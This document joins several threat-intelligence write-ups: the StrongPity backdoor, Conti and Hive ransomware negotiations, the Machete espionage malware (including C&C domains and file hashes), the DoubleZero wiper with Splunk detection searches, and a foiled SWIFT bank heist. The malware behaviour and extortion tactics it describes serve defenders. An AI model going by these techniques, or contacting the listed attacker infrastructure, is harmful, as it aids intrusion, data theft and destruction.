In June 2020, Bitdefender published research where StrongPity employed similar tactics to infect victims in Turkey and Syria selectively. According to Bitdefender, the group was specifically interested in the Kurdish community, giving it a geopolitical angle.
In their investigation, Bitdefender found trojanized versions of the following software:
- 7-ZIP
- WinRAR
- McAfee Security Scan Plus
- File recovery application - Recuva
- TeamViewer
- WhatsApp
- CCleaner
- CleverFiles Disk Drill
- DAEMON Tools Lite
They also found a particular tag used as authentication and influenced by the file's compilation time. These tags could look like something like “v11_kt26“ for example. To me, these tags resemble campaign identifiers used by actors to distinguish between different targets. The researchers from Bitdefender added a tremendous amount of StrongPity samples in their report indicating an extensive campaign.
Researchers from Cyble released a report in December 2020 that the StrongPity actors expanded their global reach and included mass phishing e-mail campaigns. According to their research, victims were now widespread across Europe, Northern Africa, Canada, and Asia. Cyble discovered that the victim was targeted through a trojanized version of the Partition Find and Mount software utility. Their analysis refers to a screenshot that should demonstrate the decryption routines and decrypted payloads in the process memory. Especially those screenshots are blurred and not readable. After that, they report that the malware creates a mutex with a particular name and then how the malware connects to a specific domain in a debugger. It remains unclear how the mutex's name is generated and where and how the command and control information is stored from their research. The claim of mass phishing attacks is not substantiated by e-mail samples in their report. Their released StrongPity indicators already contain the “transferprotocolpolicy[.]com” as a command and control server that matched the starting tweet, which matched my intelligence requirements in March 2021.
In 2021, LMNTRIX released research into what they call “the Turkish APT group APT-C-41 (aka StrongPity and Promethium)”. They claim that the group targets financial organizations, industrial plants, and educational institutes after installing a backdoor on its victims. Their research provides some screenshots of a disassembly tool in which they state that the malware has so-called anti-debugging functionality enabled (IsDebuggerPresent check). They further state: “After bypassing these functions, we found the command and control domain embedded into the code. The snapshot shows the communication happens to the malicious domain.”
The malware samples referenced in their research are indeed StrongPity samples. Based on the screenshots LMNTRIX provided, I could not observe the command and control domain embedded in the provided snapshots. Both reports of Cyble and LMNTRIX triggered me to dive into some reversing of the backdoor functionality to determine how the StrongPity backdoor stores its configuration, as this was not clear to me from their analysis. Let’s start with the sample that triggered my intelligence requirements in the first place.
## Reversing the StrongPity Backdoor
The StrongPity backdoor is installed via trojanized installations of legitimate and popular software products. The extensive research of Citizenlab indicates that a Telecom provider in Turkey was involved in the redirection to the trojanized downloads to its victims. What is not clear to me is how the configuration data is stored in the malware. To understand how that data is stored, I will follow the regular malware reversing process. You start with static analysis. What information can you get out of the malware sample without executing it? If things are not evident by then, you can also execute the malware in a sandbox or run it in a debugger. For readability, I will only focus on the main findings.
### Static Analysis
Usually, you’ll start looking at which ‘strings’ (text) are present in the malware sample. Analyzing strings in binary files is an essential aspect of malware analysis. This technique provides valuable information about the program’s use and its functionality. Usually, string output is used to develop Yara signatures. Yara is a tool to identify and classify malware families. Unique strings, constants, or byte patterns are used in the so-called Yara signatures to find more samples. Usually, these signatures hold indicators of compromise, like filenames or specific user agents observed in the malware samples. Malware authors generally leverage obfuscation or encryption techniques to hide their secrets that they need to store in the binary. They will also employ anti-debugging tricks to hinder automated analysis. To leverage the Windows operating system's functionalities, malware authors often rely on standard Windows Application Programming Interfaces (API) for their backdoors to interact with the system. Usually, these APIs are seen in the ‘strings’ output, but malware authors can also hide this. In the StrongPity sample, many of these APIs were observed, like CreateMutexW, CreateProcessW, WinHttpConnect, and IsDebuggerPresent. The regular ‘strings‘ command on Linux revealed no domain information, however.
To determine if the StrongPity malware authors employed an obfuscation technique called stack strings, the ‘floss’ program was used. That revealed the following information:
The extracted information reveals file names (winmsism.exe, sppser.exe), but also “ndaData“ the directory where the malware collects its information before sending it to the operators, according to the reports. Other than those indicators, I have highlighted some suspicious string patterns. By briefly assessing this output, it looks like this is the config information stored in the StrongPity backdoor. But we need to do a bit more digging, and I will use a free open-source disassembly tool called Cutter for that. A decompiler is a program that analyzes executable programs and tries to create a high-level representation of the machine code from it. Cutter has a feature to decompile an executable program to reconstruct the source code. This feature helps to understand the analyst's flow and how the malware program calls certain functions or routines. By decompiling the main function of the StrongPity malware, it becomes immediately apparent how the file names and the mutex observed in the floss stack strings output are being passed to the relevant functions.
### Dynamic Analysis
After the static analysis, the StrongPity sample was executed in x64dbg on my isolated virtual machine for some dynamic confirmation of the initial findings. By setting a breakpoint on the CreateMutexW and GetTempPathW API functions, the StrongPity backdoor reveals the creation of the same mutex and later on deobfuscation of the domains and URL used by the StrongPity actors. I will briefly describe the findings with some screenshots below.
After installing the StrongPity backdoor on my virtual machine, the backdoor immediately starts gathering files based on a certain extension and temporarily stores it in a compressed file “config.bin” before it wants to send it to the command and control server.
## Conclusion
Based on industry intelligence reports and my own brief malware analysis, it becomes clear that the alleged Turkish nation-state actor StrongPity is likely running a massive and multi-year data collection program and is apparently successful. Citizenlabs and Bitdefender reported strong indications of Turkish nation-state involvement. The backdoor received small updates periodically, and the collection infrastructure has been improved over time. The actor was initially focusing on the Middle Eastern region. The actor is now also focusing on Europe, Asia, and Canada. The claims of massive phishing campaigns by Cyble were not substantiated by evidence in their report. The same holds for LMNTR, who claimed that StrongPity targeted financial organizations, industrial plants, and educational organizations after compromising victims' computers. It could be that LMNTR found detections originating from those organizations after some employees downloaded this trojanized software. Still, their research does not explain how compromised victims attacked the referred companies. It would be very interesting if the StrongPity actors are utilizing compromised victim machines in their attacks.
Overall, the StrongPity backdoor is well detected by the anti-virus industry. This assumes that the actor is less successful in company networks and is more focused on citizens. This triggered a thought. Do the victims of the StrongPity actor have a working anti-virus solution? I sometimes support friends and family with computer issues but rarely detect a working anti-virus solution on their private computer. Based upon the minimal updates in the modus operandi and sophistication of this actor, I suspect not. The method that the actor employs is a nice one. Who is not downloading these targeted tools sometimes? Under the above conditions, why would a victim know they are downloading a trojanized version of a certain utility? What worries me a bit is the massive amount of data collection and processing infrastructure that the actor needs to maintain. Based on samples uploaded in VT, I assume that large amounts of data are uploaded into their operated infrastructure. The data collected needs to be processed as well to make it actionable. I wonder what kind of data lake the StrongPity actors have. For next time, watch out when you want to recover some files and install StrongPity on your system. |
# Conti and Hive Ransomware Operations: Leveraging Victim Chats for Insights
**Written by**
Kendall McKay
with contributions from
Paul Eubanks and Jaime Filson
Updated May 2, 2022
## Executive Summary
Through open-source research, we obtained and analyzed over four months of chat logs—more than 40 separate conversations—between Conti and Hive ransomware operators and their victims. The findings in this paper give an overview of the actors’ communication styles, persuasion techniques, ransom negotiations, operational and targeting information, and more.
Conti and Hive have markedly different communication styles, with Conti employing a range of persuasion tactics in what often seem like scripted and somewhat organized exchanges. Hive communications, by contrast, are much shorter, more direct, and void of many of the persuasion techniques that Conti employs. These differences possibly reflect varying levels of organizational oversight for affiliates or may simply exemplify the unique communication styles employed by various ransomware actors.
Both groups are very quick to lower ransom demands, routinely offering substantial reductions multiple times throughout their negotiations. It is clear that the actors’ initial ransom demand is rarely their bottom line.
Conti and Hive do research on victim organizations before determining the ransom amount, with both groups typically asking for about one percent of the company’s annual revenue. Both threat actors appear to target entities indiscriminately, likely based on what they assess to be the easiest victims to compromise for quick financial gains.
Hive operators displayed surprisingly poor operational security, revealing sensitive information about their encryption process and other operational details. Other evidence suggests that Hive affiliates do not adhere to any sort of standard operating procedure and employ any and all means necessary to convince their victims to pay, including offering kickbacks to victim negotiators once the ransom payment is made.
## Introduction
The ransomware space is dynamic, continually marked by new emerging ransomware variants, groups rebranding under different names or shutting down operations altogether, and new strategic partnerships between different cybercrime gangs. The focused crackdown on ransomware operations by U.S. authorities and international partners has introduced even more change into this threat space, pushing ransomware actors into the focus of law enforcement’s targeted efforts to disrupt their operations. Current events on the international stage have also recently affected at least one major ransomware player, the notorious ransomware-as-a-service (RaaS) group known as Conti. After Conti publicly supported Russia’s invasion of Ukraine, a cybersecurity researcher took revenge against the ransomware gang by leaking information about the group, including the malware’s source code and internal chats between affiliates.
The theme of constant change is also at play as it relates to the Hive ransomware group, as we have recently seen the threat actors update the malware after security researchers published methods for decrypting infected data. The Korea Internet and Security Agency (KISA) subsequently released a decryption utility, presumably based on this research. Hive developers updated their malware after the research was published, and it appears KISA’s tool only works against earlier versions of Hive ransomware, not updated versions.
Conti and Hive are currently positioned as two of the biggest players in the ransomware scene. With Conti, while their leaks exposed interesting information from internal messages between Conti operators, such as various job roles within the organization and their process for hiring new affiliates, the chat conversations covered in this report are from entirely different sources and focus on communications between the threat actors and victims. By analyzing their chats with compromised organizations, we gained insight into how the actors determine ransom amounts, their willingness to negotiate lower prices, sales tactics, coercive means to compel victims to pay, and many other details about their operations.
Similarly, the Hive chats that we analyzed for this report provided an interesting contrast to Conti, allowing us to compare various operational and communications methods between the two groups. The conversations also exposed important information about the Hive ransomware payload and encryption methods, highlighting at least one affiliate’s poor operational security in their willingness to disclose such sensitive information.
## Conti
### Communication Strategies
Based on the chat logs we reviewed between Conti operators and victims, we observed several interesting themes and techniques the actors use to accomplish their ultimate goal of extorting organizations for large amounts of money. Conti’s communication style is relatively professional, marked by seemingly scripted introductions and a matter-of-fact tone that is mostly void of emotion and hyperbole. The actors stay on message, explaining to the victim they’re infected and pointing out what consequences the victim is likely to face if they fail to pay the ransom, and trying to convince the victim to pay as quickly as possible.
The actors’ initial chats with compromised organizations are direct and to the point. The actors typically introduce themselves—“We are the Conti Team”—and often ask for the person communicating on the other end to identify themselves with their name, company name, and position. They proceed to explain that Conti has compromised the victim’s network, exfiltrated all sensitive information, and encrypted the victim’s files.
From there, we observed the threat actors employing a variety of different persuasion techniques. In many instances, the adversaries attempt to empathize with victims, equating themselves to business people just like the compromised entity and claiming that they want to help restore the victim’s data. They appear to make the ransom payment seem like it is in exchange for their help, in one instance proclaiming, “Fortunately, Conti is here to prevent any further damage!”
The actors say they will provide “IT support” by offering a “decryption tool,” even offering to give the victim a full security report upon payment to ensure that such an attack does not happen again in the future.
### Ransom Negotiations
There were several indications that the Conti operators determine victims’ ransom amounts on a case-by-case basis dependent on the organization’s annual revenue, with the actors stating as much in several of the communications we reviewed. Conti actors are very willing to negotiate and almost always offered or approved a lower ransom amount in the conversations we reviewed. These reductions were initiated by either Conti or the victim depending on the situation, but in instances where the victim requested a lower ransom payment, the threat actors almost always obliged quickly and with little or no hesitation.
### Reputation Matters
Like most legitimate business operations, cybercriminals depend on maintaining a “good” reputation, at least as it relates to following through on agreements with victim organizations. This is also top of mind for Conti, as the threat actors repeatedly reiterated their strong intent to uphold their end of the deal, even appearing angry at times when they perceived victims were questioning their trustworthiness.
### Operational Insights and TTPs
These conversations also yielded insight into some of Conti’s operational details and tactics, techniques, and procedures (TTPs). Conti uses ProtonMail, an encrypted email service, to communicate with victims. They also use various temporary mail and file storage sites, as revealed in their conversations with victims, including SendSpace, qaz[.]im, and PrivatLab. The file hosting sites are especially useful, as Conti leverages them to share files with victims.
## Hive
### Communication Strategies
Hive’s communication style differed significantly from Conti based on our observations. Compared to Conti’s somewhat scripted, more professional tone that mostly followed the same format across many conversations, Hive operators seem far more informal and less disciplined, with the conversations’ structure varying greatly and actors sometimes exhibiting poor operational security.
Hive’s greeting—“Hello and welcome to Hive. How may I help you?”—is much shorter and more direct than Conti’s introduction. The Hive operators do not lead with a full explanation of what happened to the victim, but instead jump right into ransom negotiations, informing the victim of how much money it will take to decrypt their files with little to no context.
### Ransom Negotiations
Hive’s ransom demands are typically valued at 1 percent of the victim company’s annual revenue, according to Hive operators. Based on our analysis, we largely found this to be the case, but in some instances, the ransom was slightly higher at around 1.5 percent. Much like Conti, Hive appears very willing to lower their ransom demand, indicating their initial figure is rarely their bottom offer.
### Operational Insights and TTPs
The Hive operators revealed a surprising amount of information about various components of their operation, including details pertaining to the ransomware payload, the encryption process, and various tools and communication platforms they use. They mentioned that the ransomware payload is unique or custom for each individual victim, noting that for this reason, the file hash will not be useful for security personnel and network defenders.
## General Guidance and Mitigation Strategies
These conversations revealed that, like many cybercriminals, Conti and Hive are opportunistic actors who likely seek to compromise victims through the easiest and fastest means possible, which often include exploiting known vulnerabilities. This is a reminder to all organizations to implement a strong patch management system and keep all systems up-to-date.
Another way to mitigate the threat of adversaries exploiting vulnerabilities is to monitor for suspicious network traffic, such as large quantities or anomalous activity that could be indicative of scanning. Organizations should also perform general system hardening that includes removing services or protocols running on endpoints where they are unnecessary.
It is also essential for organizations to implement policies to prevent adversaries from using credentials that are either sold on dark web cybercriminal forums or that have been leaked in other data breaches. Organizations should require multi-factor authentication (MFA) to provide a higher level of security and ensure that leaked or stolen credentials cannot be used to access systems and resources.
If valid accounts are compromised or leveraged, conduct a full password reset, especially for all privileged accounts in the domain. The lack of MFA remains one of the biggest impediments to enterprise security. Many ransomware and phishing incidents could have been prevented if MFA had been properly enabled on critical services. |
# ESET Research White Papers
## MACHETE JUST GOT SHARPER
### Venezuelan government institutions under attack
How spies managed to steal gigabytes of confidential data over the course of a year
---
## EXECUTIVE SUMMARY
Machete is a cyberespionage toolset developed by a Spanish-speaking group that has been operating since at least 2010. This group is very active and continues to develop new features for its malware and implement infrastructure changes in 2019. Their long run of attacks, focused in Latin American countries, has allowed them to collect intelligence and refine their tactics over the years. ESET researchers have detected an ongoing, highly targeted campaign, with a majority of the targets being military organizations.
Key points in this white paper:
- In 2019, ESET has seen more than 50 computers compromised by Machete in various Latin American countries, with over 75% of them belonging to Venezuelan government institutions.
- The group behind Machete uses effective spearphishing techniques. They know their targets, how to blend into regular communications, and which documents are of the most value to steal. Not only does Machete exfiltrate common office suite documents, but also specialized file types used by geographic information systems (GIS) that describe geographic data for navigation and positioning purposes.
- Machete has evolved from what was seen in earlier attacks. The main backdoor is still Python-based, but enriched with several new features such as a more resilient C&C communication mechanism, the use of Mozilla Location Service to geolocate compromised computers, and the possibility to exfiltrate data to removable drives when there is physical access to targets.
- The group is very active. ESET has seen cases where stolen documents dated on one particular day were bundled with malware and used on the same day as lures to compromise new victims.
For any inquiries, or to submit samples related to this white paper, contact us at: [email protected]
## 1. INTRODUCTION
Many events occurred in the first half of 2019 that have put Venezuela in the spotlight. From the uprising of the opposition against President Nicolás Maduro to plots in the government, the situation in Venezuela has been open to international scrutiny. There is, however, an ongoing case of cyberespionage against Venezuelan government institutions that has managed to stay under the radar.
First described by Kaspersky in 2014 and later by Cylance in 2017, Machete is a piece of malware found to be targeting high-profile individuals and organizations in Latin American countries. In 2018, Machete reappeared with new code and new features. As of June 2019, ESET has seen over 50 victims being actively spied upon by Machete, with more than 75% of them being computers belonging to Venezuelan government institutions. Several GBs of confidential documents and private information have been exfiltrated to a server controlled by the attackers.
Machete has Latin American targets and has been developed by a Spanish-speaking group, presumably from a LATAM country. They are active and constantly working on very effective spearphishing campaigns. In some cases, they trick new victims by sending real documents that had been stolen on the very same day. They seem to have specialized knowledge about military operations, as they are focused on stealing specific files such as those that describe navigation routes. This white paper presents a technical analysis of the malware, as well as data related to these targeted attacks.
## 2. DELIVERY METHOD
Machete relies on spearphishing to compromise its targets. In other words, very specific emails are sent directly to the victims, and they change from target to target. These emails contain a link to download (or an attachment with) a compressed file with the malware and a document that serves as a decoy.
The kind of documents used as decoys are sent and received legitimately several times a day by targets. For example, Radiogramas are documents used for communication in the military forces. Attackers take advantage of that, along with their knowledge of military jargon and etiquette, to craft very convincing phishing emails.
## 3. TIMELINE OF MACHETE’S LATEST VERSION
In order to get a general idea of Machete’s capabilities to steal documents and spy on its targets, we’ll describe its main features as they appeared, in chronological order.
**April 2018**
- The first time the new version was seen. It features:
- Coded in Python
- Code is obfuscated to try to thwart analysis
- First stage downloader fetches the actual malware
- Takes screenshots
- Logs keystrokes
- Accesses the clipboard
- Communicates with an FTP server
- AES encrypts and exfiltrates documents
- Detects newly inserted drives and copies files
- Updates configuration or malware binaries
- Executes other binaries
- Retrieves specific files from the system
- Logs are generated in English
**August 2018**
- An extra layer of obfuscation was added, using zlib compression and base64 encoding. It managed to evade detection by most security products.
**November 2018**
- Two new features were added:
- Geolocation of victims and information about nearby Wi-Fi networks
- Retrieves user profile data from Chrome and Firefox browsers
**February 2019**
- Physical exfiltration to removable drives was added, but both features added in November 2018 were removed from the code. Also, logs were changed to Spanish.
**May 2019**
- On May 5th, 2019, subdomains used by Machete to communicate with the remote server were taken down. New samples with new features started to emerge on May 16th.
- New features:
- Data are sent over HTTP if FTP connection fails
- AES encryption algorithm was dropped and replaced by base64 encoding
- Logs (of keys and clipboard contents) are not sent until they are larger than 10 KB
- List of file extensions that are exfiltrated was reduced
- There is no obfuscation after first layer of base64/zlib compression
- There is no downloader
**June 2019**
- Communication is over HTTP only, with a main and a fallback server
- Machete components are Python scripts; py2exe binaries were removed from this version
- Documents are AES encrypted and base64 encoded before being sent
- Now retrieves user data from more browsers
- Only Microsoft Office documents, JPEG images, .pdf documents, and archives are exfiltrated
- Code was rewritten to perform the same tasks (keylogging, taking screenshots, etc.) but using different libraries
## 4. TARGETS
Machete is a highly targeted backdoor that has managed to stay under the radar for years. Emails with malicious attachments are only sent in small numbers. Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America, how to reach them, and how best to trick them into getting compromised. Real documents are used as decoys, so it is not rare that victims never realize they were compromised and are even compromised again after Machete C&C servers change.
Since the end of March up until the end of May 2019, ESET observed that there were more than 50 victimized computers actively communicating with the C&C server. This would amount to gigabytes of data being uploaded every week. By analyzing filenames and metadata of exfiltrated documents, it was possible to determine that more than 75% of the compromised computers were in various Venezuelan government institutions, such as military forces, education, police, and foreign affairs sectors. This extends to other countries in Latin America, with the Ecuadorean military being another organization highly targeted by Machete.
## 5. MALWARE OPERATORS
Machete is malware that has been developed and is actively maintained by a Spanish-speaking group. This has been affirmed by other researchers for previous versions of Machete; these reasons, in conjunction with those we describe below, lead us to agree with this attribution.
First of all, there are some words in Spanish present within the code of the malware. Variable names are mostly random but the operators forgot to rename some of them. Examples include: datos (data), canal (channel), senal (signal), and unidad (unit, drive).
Also, as was previously mentioned, logs with keystrokes and clipboard data are generated in Spanish. Initially, they were in English, perhaps indicating copied code, but were later translated, for example to indicate which window the data is coming from.
The presence of code for physical exfiltration of documents may indicate that Machete operators could have a presence in one of the targeted countries, although we cannot be certain.
## 6. TECHNICAL ANALYSIS
Between 2014 and 2017 inclusive, the malware was distributed in NSIS-packed files. These would extract and execute several py2exe components of Machete; py2exe is a tool that converts Python scripts into Windows executables. These executables don’t require a Python installation to run, but can be quite large, as they need to include all Python libraries used by the script and the Python virtual machine.
This new version of Machete, first seen in April 2018, uses a downloader as a first stage, which installs the backdoor components of Machete on a compromised system.
In Figure 4 we can see that the downloader comes as a self-extracting file (made with 7z SFX Builder). It opens a PDF or Microsoft Office file that serves as a decoy and then runs the downloader executable. The downloader is a RAR SFX that contains the actual downloader binary (a py2exe component) and a configuration file with the downloader’s target URL as an encrypted string.
The flow of execution for the downloader can be summarized as follows:
- The working directory for the downloader will be: %APPDATA%\GooDown
- A scheduled task (ChromeDow) is created to execute the downloader every three to six minutes
- The download URL is read and decrypted (AES) from the mswe config file
- Machete is downloaded
- Downloaded data are decrypted (AES) and renamed as Security.exe
- Machete is executed
- The task for the downloader is deleted
For each binary, the decryption key is the same for both URL and payload, but the key varies across binaries. In contrast, decryption keys used in the Machete payload itself have remained the same across all binaries up until June 2019, when they changed.
### 6.1 Downloader component
An example of a configuration file for a 7z self-extracting downloader is shown in Figure 5. The .exe file inside is a RAR SFX that is very similar in structure to the final Machete payload itself. It contains a py2exe executable and a configuration file with the URL from which to download Machete. The config file is named mswe and it is the base64-encoded text of an AES-encrypted string.
### 6.2 Obfuscation
Since August 2018, all the main Machete backdoor components have been delivered with an extra layer of obfuscation. The executable py2exe files now contain a block of zlib-compressed, base64-encoded text which, after being decoded, corresponds to the same code that was seen before. This obfuscation is produced using pyminifier with the -gzip parameter.
### 6.3 Backdoor components
Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe, and GoogleUpdate.exe. GoogleCrash.exe is executed first and launches the other two.
A single configuration file, jer.dll, is dropped, and it contains base64-encoded text that corresponds to AES-encrypted strings.
### 6.4 Domain names
Initially, we saw three domain names being used in Machete’s configuration files. They all pointed to the same IP address during 2019, but a passive DNS query showed two other IP addresses active during 2018.
| Date first seen | Date last seen | Domain name | IP address |
|------------------|----------------|--------------|------------|
| 2019-05-13 | 2019-05-13 | mcsi.gotdns.ch | 0.0.0.0 |
| 2018-10-01 | 2019-04-25 | mcsi.gotdns.ch | 142.44.236.215 |
| 2018-08-20 | 2018-12-16 | mcsi.gotdns.ch | 199.79.63.188 |
| 2018-09-20 | 2018-09-20 | mcsi.gotdns.ch | 109.61.164.33 |
| 2018-07-15 | 2018-07-15 | djcaps.gotdns.ch | 199.79.63.188 |
| 2018-08-15 | 2018-08-20 | tokeiss.ddns.net | 109.61.164.33 |
## 7. CONCLUSION
Latin America is usually overlooked when it comes to persistent threats and groups targeting the region. There have been, however, several attacks resonating in the news in the past few years, such as those targeting banks in Mexico and Chile. The group behind Machete has managed to continue operating even after researchers have published technical descriptions and indicators of compromise for this malware. By introducing small changes to their code and infrastructure, the group has bypassed several security products. It is the targeted organizations, though, who have failed in raising awareness and applying security policies so that employees don’t fall for these attacks in the first place.
## 8. REFERENCES
1. GReAT, “El Machete”, Kaspersky Labs, 20 August 2014.
2. The Cylance Threat Research Team, “El Machete’s Malware Attacks Cut Through LATAM”, Cylance, 22 March 2017.
## 9. IoCs
**GoogleUpdate.exe**
- SHA-1: 048C40EB606DA3DEF08C9F6997C1948AFBBC959B
- ESET Detection Name: Python/Machete.F
**Chrome.exe**
- Detected by ESET as Python/Machete.B
**GoogleCrash.exe**
- SHA-1: 204A2850548E5994D4696E9002F90DFCCBE2093A
- ESET Detection Name: Python/Machete.C
**RAR/7z SFX: config + payload**
- SHA-1: 00397DA69B8E748720AEDFD80D78166573C33EC8
- Filename: ders.exe
**Downloader**
- Detected by ESET as Python/Machete.A
**Server domain names**
- tobabean.expert
- koliast.com
- u929489355.hostingerapp.com
- u154611594.hostingerapp.com
- 6e24a5fb.ngrok.io
- f9527d03.ngrok.io
- adtiomtardecessd.zapto.org
- mcsi.gotdns.ch
- djcaps.gotdns.ch
- tokeiss.ddns.net
- artyomt.com
- lawyersofficial.mipropia.com |
# Threat Update: DoubleZero Destructor
**March 28, 2022**
**By Splunk Threat Research Team**
The Splunk Threat Research Team is actively monitoring the emergence of new threats in the cyber domain of ongoing geopolitical events. As we have shown previously in several releases, including HermeticWiper and CaddyWiper, actors in this campaign are deploying, updating, and modifying stealthier malicious payloads. On March 17th, 2022, the Ukraine CERT discovered a new malicious payload named DoubleZero Destructor (CERT-UA #4243). This new malicious payload has the following features:
- Enumerates Domain Controllers and executes killswitch if detected. An automated friend or foe targeting function that avoids destroying Domain Controllers so attackers can maintain access or perform further elevation tasks (i.e., GPOs) on compromised networks.
- The above feature also aims to help footprinting and identification of potential targets and non-targets.
- Overwrites files with zero blocks of 4096 bytes. It may alternatively use API calls such as NtFileOpen, NtFSControlFile for the same purpose.
- Lists system files and then proceeds to destroy them.
- Deletes registry hives: HKCU (currently logged user), HKLM (configuration of currently installed software), HKU (information of all active users in the system), HKLM\BCD (Boot configuration data needed for UEFI, Legacy BIOS systems). Then shuts down the computer.
- An added layering of obfuscation via junk code to obfuscate and impair forensic analysis.
## Analysis
### Preparing Targeted File Path
This malware is a .NET compiled binary that has a customized obfuscation and a large amount of junk code that makes analysis harder to accomplish. Before performing its destructive functions, it will list several directory names and paths where it will look for files to wipe.
### Domain Controller Kill Switch
It also has a function that will enumerate the list of domain controllers connected to the compromised host. This function was used to skip or act as a kill switch if the compromised host is the domain controller machine. Below is the code snippet of how it enumerates all the domain controllers that are spread across the code because of the inserted junk code.
### Wiping Files
Aside from the directory names it lists, this malware will enumerate all the drives mounted to the machine to look for more files to wipe. It will adjust the token privilege and the security identifier of its process to have “full control” file system rights to avoid error or access denied while wiping the normal or system files it found in the compromised host.
Then it will open the target file using `NtOpenFile()` native API to zero or wipe it using a native API `NtFsControlFile()` that sends an IOCTL control code `FSCTL_SET_ZERO_DATA` directly to a specified file system. The wiper can wipe system files that make the compromised host unbootable after the restart.
We also identified another wiping function. This additional function works by writing a zeroed buffer to the target file using `filestream.write` .NET function.
### Deleting Registry Subkey
This wiper will also wipe known registry hives as part of its destructive payload. First, it will kill the enumerated process to look for a process with the name “lsass” and kill it. Then it will change the ownership of the registry to the current logged user and change the access control to full access to delete each of the subkeys in each HKLM, HKCU, HKU registry hive.
## Detections
The Splunk Threat Research Team (STRT) has developed the following detections specifically targeting this payload and produced several Analytic Stories (WhisperGate, HermeticWiper, CaddyWiper) targeting destructive software. These previous Analytic Stories can also help in the detection of this payload.
### Windows Terminating Lsass Process
This analytic is to detect a suspicious process terminating the Lsass process. Lsass process is known to be a critical process that is responsible for enforcing security policy. This technique was seen in DoubleZero malware that tries to wipe files and registry in compromised hosts.
```plaintext
`sysmon` EventCode=10 TargetImage=*lsass.exe GrantedAccess=0x1
| stats count min(_time) as firstTime max(_time) as lastTime by SourceImage, TargetImage, TargetProcessId, SourceProcessId, GrantedAccess CallTrace, Computer
| rename Computer as dest
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
```
### Windows Deleted Registry by a Non-Critical Process File Path
This analytic is to detect the deletion of a registry with a suspicious process file path. This technique was seen in DoubleZero wiper malware where it will delete all the subkeys in the HKLM, HKCU, and HKU registry hive as part of its destructive payload to the targeted hosts.
```plaintext
| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry
where Registry.action=deleted by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_key_name Registry.process_guid Registry.registry_value_data Registry.action
| `drop_dm_object_name(Registry)`
| rename process_guid as proc_guid
| join proc_guid, _time [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where NOT (Processes.process_path IN ("*\\windows\\*", "*\\program files*")) by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_path Processes.process_guid | `drop_dm_object_name(Processes)` | rename process_guid as proc_guid | fields _time dest user parent_process_name parent_process process_name process_path process proc_guid registry_path registry_value_name registry_value_data registry_key_name action]
| table _time parent_process_name parent_process process_name process_path process proc_guid registry_path registry_value_name registry_value_data registry_key_name action dest user
| `windows_deleted_registry_by_a_non_critical_process_file_path_filter`
```
### Techniques Summary
| Name | Technique | Tactic | Description |
|-------------------------------------------|-----------|-------------------|-----------------------------------------------------------------------------|
| Executables or Script Creation | T1036 | Defense Evasion | This analytic will identify suspicious executable or scripts in a list of suspicious file paths in Windows. |
| Suspicious Process File Path | T1543 | Persistence, Privilege Escalation | This analytic will detect a suspicious process running in a file path where a process is not commonly seen and is most commonly used by malicious software. |
| Windows Terminating Lsass Process (New) | T1562.001 | Defense Evasion | This analytic is to detect a suspicious process terminating Lsass process. Lsass process is known to be a critical process that is responsible for enforcing a security policy. |
| Windows Deleted Registry By A Non-Critical Process File Path (New) | T1112 | Defense Evasion | This analytic is to detect deletion of registry with suspicious process file path. |
### Filename - Sha256 Description
**Double Zero malware**
`3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe`
You can find the latest content about security analytic stories on research.splunk.com. For a full list of security content, check out the release notes on Splunk Docs.
## Contributors
We would like to thank the following for their contributions to this post:
- Teoderick Contreras
- Rod Soto
- Jose Hernandez
- Patrick Barreiss
- Lou Stella
- Mauricio Velazco
- Michael Haag
- Bhavin Patel
- Eric McGinnis
**Posted by**
Splunk Threat Research Team
The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by enhancing Splunk security offerings with verified research and security content such as use cases, detection searches, and playbooks. We help security teams around the globe strengthen operations by providing tactical guidance and insights to detect, investigate, and respond against the latest threats. The Splunk Threat Research Team focuses on understanding how threats, actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in the Attack Data repository. Our goal is to provide security teams with research they can leverage in their day-to-day operations and to become the industry standard for SIEM detections. We are a team of industry-recognized experts who are encouraged to improve the security industry by sharing our work with the community via conference talks, open-sourcing projects, and writing white papers or blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat, RSA, and many more. |
# Vietnamese Bank Blocks $1 Million SWIFT Heist
A Vietnamese bank says it foiled a plot to transfer $1.36 million out of its accounts via the interbank SWIFT messaging system in the fourth quarter of 2015 as part of a suspected malware attack launched by fraudsters. Tien Phong Commercial Joint Stock Bank, based in Hanoi, on May 15 said in a statement to Reuters that it detected the suspicious transfer requests quickly enough to contact receiving banks and put a stop to the transfers. The attempted attack "did not cause any losses," TPBank's statement reportedly said. "It had no impact on the SWIFT system in particular and the transaction system between the bank and customers in general."
SWIFT, which stands for the Society for Worldwide Interbank Financial Telecommunication, is a Brussels-based cooperative, owned by 3,000 banks, that was founded in 1973 and maintains a messaging system used by 11,000 banks. The State Bank of Vietnam - the country's central bank - is probing the attack after having received related information from TPBank on May 16, spokeswoman Le Thi Thuy Sen tells Bloomberg. TPBank and the State Bank of Vietnam couldn't be immediately reached for comment on those reports.
SWIFT declined to comment on those reports, except to point to a May 13 security alert that it sent to its customers, warning them of "a highly adaptive campaign targeting banks' payment endpoints." That warning said an unnamed Vietnamese bank had also been targeted by the same attackers who attempted to transfer $1 billion out of the central bank of Bangladesh's account at the Federal Reserve of New York. In the Bangladesh Bank case, the attackers successfully transferred $100 million to overseas accounts, of which $81 million is still missing. Investigators say the stolen funds were laundered via casinos in the Philippines. SWIFT says the attack was carried out in part after attackers used malware to infect a PDF reader used by bank employees.
## TPBank Blames Third-Party Vendor
TPBank's statement said the fraudulent transfer requests were made using an unnamed third-party vendor with which the bank had contracted to allow it to interface with the SWIFT network. The bank said that in the wake of the fraudulent transfer requests, it stopped working with the third-party provider and now has a more secure system that directly interfaces with the SWIFT platform. TPBank told Reuters that the attack against it might have been carried out using the Trojanized PDF reader detailed in SWIFT's customer alert.
## SWIFT: 'Small Number' of Similar Cases
